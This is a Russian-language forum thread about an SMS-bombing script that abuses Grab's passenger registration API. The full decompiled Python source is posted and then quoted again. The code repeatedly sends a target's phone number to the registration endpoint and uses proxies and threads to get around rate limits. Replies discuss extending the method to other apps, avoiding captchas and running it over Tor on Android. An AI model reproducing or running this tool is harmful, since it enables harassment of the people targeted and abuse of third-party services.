Soft SMS Spamer

Y

Yevgen

Member
28.06.2018
16
14
26723

Данный скрипт прекрасно подходит для того чтоб разбудить проспавшего товарища, да и просто хорошему человеку смс отправить можно.
Работает на основе азиатского сервиса GRAB, как я понял что то похожее на UBER. Установка и использование не сложные, все есть в readme, а так же в справке по ключу -h, сразу даю ссылку на и немного расскажу о нюансах использования. Номер указывается в международном формате без знака "+". По умолчанию, без ключа --delay будет отправлять смс с интервалом 60 сек, чаще чем раз в 30 секунд с одного IP адреса, даже в несколько потоков, смс не отправит, а уснет на ошибке, соответственно оптимально использовать с ключом --delay 30 Поддерживает прокси (при этом прокси должен поддерживать https), ключ вида --proxy 'http://xxx.xxx.xxx.xxx:yyyy' указывается перед номером телефона через http, а не через https. При использовании прокси есть возможность работать в несколько потоков. Итог: смс на один номер раз в 30 сек, если нужно несколько номеров одновременно, то под каждый номер нужен отдельный прокси.
 
  • Нравится
Реакции: Aleks Binakril и Bidjo111
n3d.b0y

n3d.b0y

Red Team
19.01.2018
163
380
Добавлю немного от себя. Стало интересно как это скрипт работает. Вся логика зашита в файл spammer_class.pyc. Автор кода видимо решил защитить свой код выложил в GitHub скомпилированную версию скрипта. Но дело в том, что на python не пушится программы с закрытым кодам. Находим первый попавшийся декодер .pyc . Закидываем туда файл и получаем результат :)

Python:
# Embedded file name: /mnt/c/Users/folkg/Desktop/spme/spammer_class.py
# Compiled at: 2018-04-25 14:24:04


class color:
    HEADER = '\x1b[95m'
    OKBLUE = '\x1b[94m'
    OKGREEN = '\x1b[92m'
    WARNING = '\x1b[93m'
    FAIL = '\x1b[91m'
    ENDC = '\x1b[0m'
    BOLD = '\x1b[1m'
    UNDERLINE = '\x1b[4m'
    REVERSE = '\x1b[7m'


class Spammer:
    author = ''

    def main(self):
        print color.BOLD + color.WARNING + '\n               ' + color.ENDC + color.BOLD + ' GAC SMS Spammer v3.1\n' + color.BOLD + color.WARNING + '+-+-+-+-+-+-+-+' + color.ENDC + color.BOLD + '\t(Unofficial release)\n' + color.BOLD + color.WARNING + '|S|p|a|m|m|e|r|' + color.ENDC + color.BOLD + '\t' + 'Author: P4kL0nc4t & Noxturnix\n' + color.BOLD + color.WARNING + '+-+-+-+-+-+-+-+' + color.ENDC + color.BOLD + '\t' + color.UNDERLINE + 'https://github.com/p4kl0nc4t' + color.ENDC + '\n\t\t' + color.BOLD + color.UNDERLINE + 'https://github.com/Noxturnix' + color.ENDC + '\n' + color.BOLD + color.UNDERLINE + '\t\t' + color.ENDC
        import requests, sys, time, argparse, thread
        parser = argparse.ArgumentParser(prog='Spammer', description="Spammer is a tool used to send Grab Activation Code (SMS) to a phone number repeatedly. Spammer uses Grab's passenger API.", epilog='If you had stuck, you can mail me at p4kl0nc4t@obsidiancyberteam.id')
        parser.add_argument('phonenum', metavar='phone', help='the phone number to send the GAC SMS. (example: 6285237048644)')
        parser.add_argument('--delay', type=int, help='the delay time (wait time) in seconds (default: 60)')
        parser.add_argument('--proxy', action='append', help="use a proxy (format: 'http://69.69.69.69:8080'). Make sure the proxy supports https")
        args = parser.parse_args()

        def showstatus(message, type='new', escape_x=None):
            icon = '*'
            if type == 'warn':
                icon = '!'
                escape = color.FAIL + color.REVERSE
            else:
                if type == 'new':
                    icon == '*'
                    escape = color.OKGREEN
            if escape_x != None:
                escape = escape_x
            message = escape + color.BOLD + '[' + icon + ']' + color.ENDC + escape + message + color.ENDC
            return message

        def wrapsbrace(string, endspace=False):
            if endspace == True:
                return '[' + string + '] '
            return '[' + string + ']'

        def sleep(x):
            try:
                time.sleep(x)
            except KeyboardInterrupt:
                print '\r' + showstatus(wrapsbrace('except', True) + 'KeyboardInterrupt thrown! Exiting thread . . .', 'warn') + '\n'
                exit()

        _phone = args.phonenum
        if _phone[0] == '0':
            _phone = list(_phone)
            _phone[0] = '62'
            _phone = ('').join(_phone)
        if _phone[0] == '8':
            _phone = '62' + str(_phone)
        print showstatus(wrapsbrace('info', True) + ('Send GAC SMS to: {}').format(_phone))
        delaytime = 60
        if self.author != 'P4kL0nc4t & Noxturnix':
            iteration = 1
            while True:
                print showstatus(wrapsbrace('200 OK', True) + ('GAC SMS sent! Sleeping f0r {}s . . . (iteration:{})').format(delaytime, iteration))
                sleep(1)
                iteration += 1

        if args.delay:
            delaytime = int(args.delay)

        def spam(thread_name='0', proxy=None):
            iteration = 1
            print showstatus(wrapsbrace('info', True) + ('thread-{} started at <0x{}>').format(thread_name, thread.get_ident()), 'new')
            while True:
                try:
                    if proxy == None:
                        r = requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': _phone, 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'})
                    else:
                        r = requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': _phone, 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'}, proxies={'http': str(proxy), 'https': str(proxy)})
                except requests.exceptions.ConnectionError:
                    print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace('except', True) + ('ConnectionError thrown! Sleeping for {}s . . .').format(delaytime), 'warn')
                    sleep(delaytime)
                else:
                    if r.status_code == 429:
                        print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace(('429 {}').format(r.reason), True) + ('Sleeping for {}s . . .').format(delaytime), 'warn', color.WARNING + color.REVERSE)
                        sleep(delaytime)
                    elif r.status_code == 200:
                        print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace('200 OK', True) + ('GAC SMS sent! Sleeping for {}s . . . (iteration:{})').format(delaytime, iteration))
                        iteration += 1
                        sleep(delaytime)
                    else:
                        print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace(('{} {}').format(r.status_code, r.reason), True) + 'Something went wrong. Exiting thread . . .', 'warn')
                        thread.exit()

            return

        thread.start_new_thread(spam, ('0', ))
        if args.proxy:
            for proxy in args.proxy:
                thread_num = 1
                thread.start_new_thread(spam, (thread_num, str(proxy)))
                thread_num += 1

        while True:
            sleep(300)

        return
Как и ожидалось магии тут нет :( Автор кода отловил запросы на регистрацию нового пользователя приложения . Затем написал небольшую оболочку для повторной отправки запросов. Такое можно проделать почти с любым приложением для заказа такси. Но идея не плоха, если это доработать и добавить еще несколько таких сервисов. Можно не плохо заспамить атакуемого пользователя.
 
Последнее редактирование:
Debug

Debug

Red Team
07.07.2017
181
424
Добавлю немного от себя. Стало интересно как это скрипт работает. Вся логика зашита в файл spammer_class.pyc. Автор кода видимо решил защитить свой код выложил в GitHub скомпилированную версию скрипта. Но дело в том, что на python не пушится программы с закрытым кодам. Находим первый попавшийся декодер .pyc . Закидываем туда файл и получаем результат :)

Python:
# Embedded file name: /mnt/c/Users/folkg/Desktop/spme/spammer_class.py
# Compiled at: 2018-04-25 14:24:04


class color:
    HEADER = '\x1b[95m'
    OKBLUE = '\x1b[94m'
    OKGREEN = '\x1b[92m'
    WARNING = '\x1b[93m'
    FAIL = '\x1b[91m'
    ENDC = '\x1b[0m'
    BOLD = '\x1b[1m'
    UNDERLINE = '\x1b[4m'
    REVERSE = '\x1b[7m'


class Spammer:
    author = ''

    def main(self):
        print color.BOLD + color.WARNING + '\n               ' + color.ENDC + color.BOLD + ' GAC SMS Spammer v3.1\n' + color.BOLD + color.WARNING + '+-+-+-+-+-+-+-+' + color.ENDC + color.BOLD + '\t(Unofficial release)\n' + color.BOLD + color.WARNING + '|S|p|a|m|m|e|r|' + color.ENDC + color.BOLD + '\t' + 'Author: P4kL0nc4t & Noxturnix\n' + color.BOLD + color.WARNING + '+-+-+-+-+-+-+-+' + color.ENDC + color.BOLD + '\t' + color.UNDERLINE + 'https://github.com/p4kl0nc4t' + color.ENDC + '\n\t\t' + color.BOLD + color.UNDERLINE + 'https://github.com/Noxturnix' + color.ENDC + '\n' + color.BOLD + color.UNDERLINE + '\t\t' + color.ENDC
        import requests, sys, time, argparse, thread
        parser = argparse.ArgumentParser(prog='Spammer', description="Spammer is a tool used to send Grab Activation Code (SMS) to a phone number repeatedly. Spammer uses Grab's passenger API.", epilog='If you had stuck, you can mail me at p4kl0nc4t@obsidiancyberteam.id')
        parser.add_argument('phonenum', metavar='phone', help='the phone number to send the GAC SMS. (example: 6285237048644)')
        parser.add_argument('--delay', type=int, help='the delay time (wait time) in seconds (default: 60)')
        parser.add_argument('--proxy', action='append', help="use a proxy (format: 'http://69.69.69.69:8080'). Make sure the proxy supports https")
        args = parser.parse_args()

        def showstatus(message, type='new', escape_x=None):
            icon = '*'
            if type == 'warn':
                icon = '!'
                escape = color.FAIL + color.REVERSE
            else:
                if type == 'new':
                    icon == '*'
                    escape = color.OKGREEN
            if escape_x != None:
                escape = escape_x
            message = escape + color.BOLD + '[' + icon + ']' + color.ENDC + escape + message + color.ENDC
            return message

        def wrapsbrace(string, endspace=False):
            if endspace == True:
                return '[' + string + '] '
            return '[' + string + ']'

        def sleep(x):
            try:
                time.sleep(x)
            except KeyboardInterrupt:
                print '\r' + showstatus(wrapsbrace('except', True) + 'KeyboardInterrupt thrown! Exiting thread . . .', 'warn') + '\n'
                exit()

        _phone = args.phonenum
        if _phone[0] == '0':
            _phone = list(_phone)
            _phone[0] = '62'
            _phone = ('').join(_phone)
        if _phone[0] == '8':
            _phone = '62' + str(_phone)
        print showstatus(wrapsbrace('info', True) + ('Send GAC SMS to: {}').format(_phone))
        delaytime = 60
        if self.author != 'P4kL0nc4t & Noxturnix':
            iteration = 1
            while True:
                print showstatus(wrapsbrace('200 OK', True) + ('GAC SMS sent! Sleeping f0r {}s . . . (iteration:{})').format(delaytime, iteration))
                sleep(1)
                iteration += 1

        if args.delay:
            delaytime = int(args.delay)

        def spam(thread_name='0', proxy=None):
            iteration = 1
            print showstatus(wrapsbrace('info', True) + ('thread-{} started at <0x{}>').format(thread_name, thread.get_ident()), 'new')
            while True:
                try:
                    if proxy == None:
                        r = requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': _phone, 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'})
                    else:
                        r = requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': _phone, 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'}, proxies={'http': str(proxy), 'https': str(proxy)})
                except requests.exceptions.ConnectionError:
                    print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace('except', True) + ('ConnectionError thrown! Sleeping for {}s . . .').format(delaytime), 'warn')
                    sleep(delaytime)
                else:
                    if r.status_code == 429:
                        print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace(('429 {}').format(r.reason), True) + ('Sleeping for {}s . . .').format(delaytime), 'warn', color.WARNING + color.REVERSE)
                        sleep(delaytime)
                    elif r.status_code == 200:
                        print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace('200 OK', True) + ('GAC SMS sent! Sleeping for {}s . . . (iteration:{})').format(delaytime, iteration))
                        iteration += 1
                        sleep(delaytime)
                    else:
                        print showstatus(wrapsbrace(('thread-{}').format(thread_name)) + wrapsbrace(('{} {}').format(r.status_code, r.reason), True) + 'Something went wrong. Exiting thread . . .', 'warn')
                        thread.exit()

            return

        thread.start_new_thread(spam, ('0', ))
        if args.proxy:
            for proxy in args.proxy:
                thread_num = 1
                thread.start_new_thread(spam, (thread_num, str(proxy)))
                thread_num += 1

        while True:
            sleep(300)

        return
Как и ожидалось магии тут нет :( Автор кода отловил запросы на регистрацию нового пользователя приложения . Затем написал небольшую оболочку для повторной отправки запросов. Такое можно проделать почти с любым приложением для заказа такси. Но идея не плоха, если это доработать и добавить еще несколько таких сервисов. Можно не плохо заспамить атакуемого пользователя.
Видно что ролики Overbuffer1 ты смотришь). Чтобы сделать нечто похожее необходимо найти сервисы которые позволяют отправлять смс без капчи, так как уже много где она выскакивает(
 
  • Нравится
Реакции: Pirnazar
n3d.b0y

n3d.b0y

Red Team
19.01.2018
163
380
Видно что ролики Overbuffer1 ты смотришь). Чтобы сделать нечто похожее необходимо найти сервисы которые позволяют отправлять смс без капчи, так как уже много где она выскакивает(
Без мата сложно ответить! Какая капча какой сервис? Ты вообще понимаешь что происходит в коде или решил ляпнуть что попало что бы умным показаться? Если ты посмотришь на URL https://p.grabtaxi.com/api/passenger/v2/profiles/register то можешь догадаться что при запросе на него происходит регистрации чему подтверждают параметры {'phoneNumber': _phone, 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'} которые неизменяемы. Как видно тут нет параметра massage а это значит что SMS отправляется стандартное с кодом регистрации. Соотвественно тут не может быть капчи и в подобных приложениях которые построены таким же образом капчи нет. Ибо отправка запроса на регистрацию ожидает в ответ тот самый код с подтверждением. Смысл данного скрипта заспамить телефон этими самыми кодами подтверждений. Такой процесс регистрации используешься повсеместно. Какую капчу ты видел в Android приложениях такого типа да и вообще где ты видел капчу в мобильном приложении?
 
Последнее редактирование:
Debug

Debug

Red Team
07.07.2017
181
424
Без мата сложно ответить! Какая капча какой сервис? Ты вообще понимаешь что происходит в коде или решил ляпнуть что попало что бы умным показаться? Если ты посмотришь на URL https://p.grabtaxi.com/api/passenger/v2/profiles/register то можешь догадаться что при запросе на него происходит регистрации чему подтверждают параметры {'phoneNumber': _phone, 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'} которые неизменяемы. Как видно тут нет параметра massage а это значит что SMS отправляется стандартное с кодом регистрации. Соотвественно тут не может быть капчи и в подобных приложениях которые построены таким же образом капчи нет. Ибо отправка запроса на регистрацию ожидает в ответ тот самый код с подтверждением. Смысл данного скрипта заспамить телефон этими самыми кодами подтверждений. Такой процесс регистрации используешься повсеместно. Какую капчу ты видел в Android приложениях такого типа?
Вообще не понимаю зачем так нервничать, я прекрасно вижу, что данный сервис не требует капчи.
Речь в моем посте шла о том, что многие сервисы при отправки n-го количества смс начинают требовать капчу. И это нужно обходить либо искать сервисы где нет такой защиты. Все это относиться к тому, чтобы создать действительно бесплатное и мощное ПО для флуда нужно искать определенные сервисы.
 
n3d.b0y

n3d.b0y

Red Team
19.01.2018
163
380
Вообще не понимаю зачем так нервничать, я прекрасно вижу, что данный сервис не требует капчи.
Речь в моем посте шла о том, что многие сервисы при отправки n-го количества смс начинают требовать капчу. И это нужно обходить либо искать сервисы где нет такой защиты. Все это относиться к тому, чтобы создать действительно бесплатное и мощное ПО для флуда нужно искать определенные сервисы.
Ты так говоришь будто это что то недосягаемое, возьми 20 приложений из плеймаркета с регистрацией по телефону и 80% если не 100% подойдут для данного типа спама.
 
Debug

Debug

Red Team
07.07.2017
181
424
Ты так говоришь будто это что то недосягаемое, возьми 20 приложений из плеймаркита с регистрацией по телефону и 80% если не 100% подойдут для данного типа спама.
Возможно вы правы, я ведь не спорю. Просто знакомый хотел реализовать через известные на РУ сервисы и у него были проблемы с капчей.
 
Лёша Стеблюк

Лёша Стеблюк

New member
20.05.2019
1
0
Может кто знает как поставить большое количество смс больше 20 - напиши пж.
 
SecretumSecretorum

SecretumSecretorum

Member
11.07.2019
10
0
Вообще не понимаю зачем так нервничать, я прекрасно вижу, что данный сервис не требует капчи.
Речь в моем посте шла о том, что многие сервисы при отправки n-го количества смс начинают требовать капчу. И это нужно обходить либо искать сервисы где нет такой защиты. Все это относиться к тому, чтобы создать действительно бесплатное и мощное ПО для флуда нужно искать определенные сервисы.
запускаем орбот, добавляем в него термукс и все, юзал на delay 5 сек
 
Melnik

Melnik

Премиум 72
04.08.2019
15
5
Проверил, спустя 10 запросов выдаёт ошибку "429 Too Many Requests"., и блок на час.

ГуголЪ подсказывает, что это блок на количество запросов, так что я так понимаю, это сам сервис Grab внедрил защиту.
 
  • Нравится
Реакции: Егор Кулебякин
Мы в соцсетях: